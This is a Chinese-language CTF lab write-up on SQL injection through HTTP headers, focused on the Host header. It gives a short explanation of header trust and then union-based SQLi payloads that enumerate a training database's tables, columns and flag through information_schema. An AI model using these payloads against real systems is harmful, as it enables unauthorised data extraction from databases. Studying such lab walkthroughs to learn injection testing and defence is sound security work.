SQL注入HTTP头部注入是一种攻击技术,攻击者通过在HTTP请求头部(如User-Agent、Referer、Cookie等)中注入恶意的SQL代码,试图操纵目标服务器的数据库查询。由于服务器端可能在处理这些头部信息时直接将其插入到SQL查询中,如果没有适当的输入验证和参数化查询,这些恶意代码就可能被执行,从而导致数据泄露、数据篡改或其他安全问题。这种攻击方式利用了HTTP头部字段通常不被严格验证的弱点。
SQL注入漏洞测试(HTTP头注入)
题目类型
SQL注入
使用工具
FireFox、burpsuite
解题方向
HTTP头部(HOST注入)
Host(主机头)HTTP协议的一个字段
在http1.0中没有Host字段,在http1.1中,增加这个字段,http协议是建立tcp连接,需要知道对方的IP和端口号,然后发送数据建立连接。所有Host头域指定请求资源的Internet主机和端口。host头主要是用来将请求分派到指定的web网站,它的IP来自于网络层和传输层,对于http协议来说,它是基于tcp/ip的一个封装
在http1.1中不能缺少Host字段,缺少host字段服务器会返回400 bad request ,http1.0虽然不能缺少Host字段,但是该字段可以为空。
既然host头来自于客户,由客户端提供,而且可以修改,那么它是不可信的。当Host头部被修改为无效Host头会发生什么情况?大多数web服务器配置为将无法识别的Host头传送给列表中的第一台虚拟主机或者返回错误信息。因此,这使得把携带有任意Host头的请求发送到第一台虚拟主机上是可能的。
例如下面,很多host都不做HTML编码,便直接输出到页面,当host 被改为恶意连接时,出发恶意请求,容易造成缓存污染和密码重置这两种攻击
1 | <link href=http://_SERVER["HTTP_HOST"]></link> //触发一个get请求 |
题解
I.启动靶场
1 | order by 5# |
报错,所以4字段
II. 查看字段位置
1 | union select 1,2,3,4# |
III. 获取数据库名
1 | union select 1,database(),3,4# |
database = pentesterlab
IV. 获取数据库中的表名
1 | union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database() |
comment/flag/goods/user/
V. 获取的表名中的列名
1 | union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='flag' |
id/flag
VI. 获取id与flag值
1 | union select 1,id,flag,4 from flag |